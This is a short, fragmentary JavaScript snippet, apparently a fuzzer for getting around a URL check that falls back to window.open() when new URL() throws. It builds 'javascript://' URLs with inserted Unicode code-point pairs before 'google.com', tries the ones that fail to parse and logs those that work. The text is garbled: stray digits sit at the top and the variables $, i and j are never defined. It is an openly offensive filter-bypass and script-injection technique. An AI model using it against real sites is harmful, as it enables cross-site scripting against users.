1
1
1Trying to bypass a check implemented like this try { parsedUrl = new URL(url) // do some checks protocol,host } catch(e){ // fine we can use it simply window.open(url) }
char = String.fromCodePoint($[i],$[j])
url = "javascript://"+char+"google.com"
try {
new URL(url)
}
catch(e){
pwn(url,char)
}
function pwn(url,char){
try{
window.open(url)
console.log("shirley");
log($[i],$[j])
}catch(e){
}
}